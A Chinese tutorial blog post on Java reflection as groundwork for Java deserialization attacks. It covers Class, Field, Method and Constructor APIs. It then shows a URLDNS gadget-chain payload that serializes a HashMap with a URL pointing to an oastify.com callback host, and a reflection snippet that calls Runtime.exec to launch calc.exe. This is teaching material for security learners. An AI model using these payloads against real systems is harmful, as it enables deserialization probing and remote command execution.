Java反序列化基础篇-02-Java反射与URLDNS链分析
Drunkbaby Lv6

Java 反射与 URLDNS 链分析

Java反序列化基础篇-02-Java 反射与 URLDNS 链分析

代码详见上一篇文章Java反序列化基础篇-01-反序列化概念与利用

切记,反射只是一种攻击的中间手段而不是最终的手段。

真正的攻击思路还是我们上篇文章里讲的

首先的攻击前提:继承 Serializable

入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个类作为参数;最好 jdk 自带)

找到入口类之后要找调用链 gadget chain 相同名称、相同类型

执行类 sink (RCE SSRF 写文件等等)比如 exec 这种函数

0x01 前言

  • 书接上文,我们在上文当中详细介绍了 Java 反序列化的一些基础性的知识,到最后分析了 URLDNS 链的利用。但是离最后的 POC 我们还差一步之遥。

URLDNS 的链想要成功构造,必须要懂反射,而本篇文章中,我会细致地带大家入门 Java 反射。

引用 P神 的一句话

Java 安全可以从反序列化说起,而反序列化可以从反射说起。

0x02 反射理解

  • 反射的作用:让 Java 具有动态性

Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为 Java 语言的反射机制。

Java 本身是一种静态语言,为什么这么说,看这一段代码就知道了。

1
Student student = new Student();

那反过来,什么是动态语言呢?PHP 本身就拥有很多动态特性,我们来看这一段代码。在这一段代码里面,我们输入 eval,php 就执行 eval 命令;输入 echo 就执行 echo 命令;这就是语言的动态特性。

1
eval(<?php eval()?>)

1. 正射与反射

  • 提一嘴正射与反射的概念是为了让大家能够更好的理解 Java 反射。

正射

我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。

1
2
Student student = new Student();
student.doHomework("数学");

反射

反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了。我们以这一段经典的反射代码为例说明。

还记得我们第一课讲的 Person.java 文件吗?
我们这里新建一个 ReflectionTest.java 文件,并在其中添加如下代码。

1
2
3
4
public static void main(String[] args) throws Exception{  
Person person = new Person();
Class c = person.getClass();
}

我们注意到在代码块中出现了大写 C 开头的 Class;

理解反射的第一步就必须先搞清楚 Class 是什么。


2. Java Class 对象理解

我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息,比如这段程序当中:

1
2
3
4
public static void main(String[] args) throws Exception{  
Person person = new Person();
Class c = person.getClass();
}

其实 **person.class 就是 Class**,Class 也就是描述类的类。

Class 类的对象作用是运行时提供或获得某个对象的类型信息。

所以反射其实就是操作 Class,看清楚了,是大 C

0x03 Java 反射组成相关的类

反射机制相关操作一般位于java.lang.reflect包中。

而java反射机制组成需要重点注意以下的类:

java.lang.Class:类对象;

java.lang.reflect.Constructor:类的构造器对象;

java.lang.reflect.Field:类的属性对象;

java.lang.reflect.Method:类的方法对象;

0x04 Java 反射使用方法

前文铺垫了那么多的基础知识,所以我们的 Java 反射该如何利用与实现,又该如何辅助我们帅气的 **弹shell **呢?

获取类的方法:forName

实例化类对象的方法:newInstance

获取函数的方法:getMethod

执行函数的方法:invoke

1. 首先需要实例化对象

对于普通用户我们可以采用以下方法创建实例:

1
Person test = new Person();

而我们在创建 Class 类的实例对象却不能使用上述方法,运行会抛出错误

1
Class test = new Class();

同时我们可以跟进 Class 类的源码进行查看,发现其构造器是私有的,所以只有 JVM 能够创建 Class 对象。

因为 Class 类是 private 私有属性,我们也无法通过创建对象的方式来获取 class 对象,那么我们怎样才能够获取到 class 对象呢?一般我们获取 class 对象就有以下三种方法,我们来逐一看看。

方法一、实例化对象的getClass()方法

如果上下⽂中存在某个类的实例 obj,那么我们可以通过 obj.getClass 来获取它的类。

1
2
TestReflection testReflection = new TestReflection();
Class class3 = testReflection.getClass();

方法二、 使用类的 .class 方法

如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接拿它的 class 属性即可。这个⽅法其实不属于反射。

1
Class class2 = TestReflection.class;

方法三、Class.forName(String className):动态加载类

如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取,后续要利用的话是需要实例化的。

1
Class class1 = Class.forName("reflection.TestReflection");

我们可以写个简单的示例代码,分别利用这三种方法获取当前类Class对象的当前类名。

ReflectionTest01.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package src;  

public class ReflectionTest01 {
public static void main(String[] args) throws Exception{
// 类的 .class 属性
Class c1 = Person.class;
System.out.println(c1.getName());

// 实例化对象的 getClass() 方法
Person person = new Person();
Class c2 = person.getClass();
System.out.println(c2.getName());

// Class.forName(String className): 动态加载类
Class c3 = Class.forName("src.Person");
System.out.println(c3.getName());

}
}

当时学的时候这里挺疑惑的,就总想着用反射直接攻击别人,其实这是挺不靠谱的。
问了好多师傅们,都说反射只是一种手段,后面看了狂神的视频之后才醒悟过来,发现反射确实只是一种手段。而最后的攻击的 gadget chain 还是要自己构造的 ~

下面讲的三种,都是获取类里面的东西。

2. 获取成员变量 Field

获取成员变量Field位于 java.lang.reflect.Field 包中

Field[] getFields() :获取所有 public 修饰的成员变量

Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

Field getField(String name) 获取指定名称的 public 修饰的成员变量

Field getDeclaredField(String name) 获取指定的成员变量

3. 获取成员方法 Method

  • 要注意以下,第一个参数是传参,第二个参数是确定重载的是哪个函数。
1
2
3
4
5
6
7
8
9
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型

Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

Person.java 中添加如下代码

1
2
3
4
5
6
7
public void study(String s) {  
System.out.println("学习中..." + s);
}
private String sleep(int age) {
System.out.println("睡眠中..." + age);
return "sleep";
}

并在 ReflectionTest02.java 中添加如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package src;  

import com.sun.xml.internal.ws.encoding.MtomCodec;

import java.lang.reflect.Method;

public class ReflectionTest02 {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("src.Person");// 创建 Class 对象
Method[] methods1 = c1.getDeclaredMethods();// 获取所有该类中的所有方法
Method[] methods2 = c1.getMethods();// 获取所有的 public 方法,包括类自身声明的 public 方法,父类中的 、实现的接口方法

for (Method m:methods1){
System.out.println(m);
}
System.out.println("-------分割线---------");

for (Method m:methods2) {
System.out.println(m);
}

System.out.println("-------分割线---------");

Method methods3 = c1.getMethod("study", String.class);// 获取 Public 的 study 方法
System.out.println(methods3);
System.out.println("-------分割线---------");

Method methods4 = c1.getDeclaredMethod("sleep", int.class); // 获取 Private 的 sleep 方法
System.out.println(methods4);
}

}

运行结果

4. 获取构造函数 Constructor

1
2
3
4
5
6
7
Constructor<?>[] getConstructors() :只返回public构造函数

Constructor<?>[] getDeclaredConstructors() :返回所有构造函数

Constructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的public构造函数

Constructor<> getDeclaredConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的构造函数

在 forName 之后获取构造函数

  • 新建一个文件 PersonConstructor.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package src;  

import java.io.Serializable;

public class PersonConstructor {

private String name;
private int age;

// 无参构造
public PersonConstructor(){

}
// 构造函数
public PersonConstructor(String name, int age){
this.name = name;
this.age = age;
}
// 私有构造函数
private PersonConstructor(String name){
this.name = name;
}

@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

}

ReflectionTest03.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package src;  

import java.lang.reflect.Constructor;

public class ReflectionTest03 {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("src.PersonConstructor");
Constructor[] constructors1 = c1.getDeclaredConstructors();
Constructor[] constructors2 = c1.getConstructors();
for (Constructor c : constructors1){
System.out.println(c);
}
System.out.println("-------分割线---------");
for (Constructor c : constructors2){
System.out.println(c);
}
System.out.println("-------分割线---------");
Constructor constructors3 = c1.getConstructor(String.class, int.class);
System.out.println(constructors3);
System.out.println("-------分割线---------");
Constructor constructors4 = c1.getDeclaredConstructor(String.class);
}
}

0x05 反射的进阶使用

1. 反射创建对象

反射创建对象,也叫做反射之后实例化对象,这里用到的是我们之前讲过的 newInstance() 方法

  • 代码
1
2
Class c = Class.forName("类的名称"); // 创建Class对象
Object m1 = c.newInstance(); // 创建类对象

这里也顺便说下 invoke 方法,invoke 方法位于 java.lang.reflect.Method 类中,用于执行某个的对象的目标方法。
一般会和 getMethod 方法配合进行调用。

用法

1
public Object invoke(Object obj, Object... args)

第一个参数为类的实例,第二个参数为相应函数中的参数

obj:从中调用底层方法的对象,必须是实例化对象

args: 用于方法的调用,是一个 object 的数组,参数有可能是多个

但需要注意的是,invoke 方法第一个参数并不是固定的:

如果调用这个方法是普通方法,第一个参数就是类对象;

如果调用这个方法是静态方法,第一个参数就是类;

将我们的知识进行整合归纳下,我们可以写个完整的小例子。

1
2
3
4
5
6
7
8
9
10
11
12
package src;  

import java.lang.reflect.Method;

public class ReflectionTest04 {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("src.Person");
Object m = c1.newInstance();
Method method = c1.getMethod("reflect");
method.invoke(m);
}
}

这就是反射,简单吧。回归到我们上篇文章讲的 URLDNS,我们需要完成这样一些操作。

0x06 关于反射的小结

先讲完反射,再去以 URLDNS 链为例

说白了反射也就这点东西,先获取类,并进行实例化对象;

然后获取类里面的属性;调用类里面的方法,就没了。

0x07 URLDNS 链讲解

上节我们半路上杀出了一个程咬金,这里我们把它解决掉。

要修改 hashCode 先为不是 -1 的值,再改回 -1 其实很简单,我们先获取类,并且实例化对象。我们来看 Payload,其实一下就明白了。

1
2
3
4
5
6
7
8
9
10
// 这里不要发起请求  
URL url = new URL("http://bl00nzimnnujskz418kboqxt9kfb30.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);

getClass() 实例化对象,接着就是获取类的方法,获取类的属性并修改。

0x08 利用反射弹计算器

用我们的 forNamenewInstance() 实例化对象后,再进行获取方法,执行。

1
2
3
4
5
6
7
8
9
10
11
package src.ReflectDemo;  

import java.lang.reflect.Method;

public class FinalReflectionCalc {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("java.lang.Runtime");
Object o1 = c1.newInstance();
Method m1 = c1.getDeclaredMethod("exec",String.class);
}
}

这里报错了,原因是 java.lang.Runtime 是私有的。

我们换一种方式弹计算器,不过加上 setAccessible(true) 也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package src.ReflectDemo;  

import java.lang.reflect.Method;

public class FinalReflectionCalc {
public static void main(String[] args) throws Exception{
/* 失败,因为 java.lang.Runtime 是私有的
Class c1 = Class.forName("java.lang.Runtime"); Object o1 = c1.newInstance(); Method m1 = c1.getDeclaredMethod("exec",String.class); m1.invoke(o1,"C:\\WINDOWS\\System32\\calc.exe"); */
Class c1 = Class.forName("java.lang.Runtime");
Method method = c1.getMethod("exec", String.class);
Method RuntimeMethod = c1.getMethod("getRuntime");
Object o1 = RuntimeMethod.invoke(c1);
method.invoke(o1, "C:\\WINDOWS\\System32\\calc.exe");
}
}

成功弹出来了。

当然,上方的代码太冗长,可以将上方的代码稍微修整一下:

1
2
Class c1 = Class.forName("java.lang.Runtime");  
c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "C:\\WINDOWS\\System32\\calc.exe");

0x09 小结

这篇文章就打算先如此了,因为篇幅过长,再写一篇 Java 反射进阶的。

对于 Java 反射其实梳理的还可以吧,简单来说,反射可以辅助于反序列化。

 评论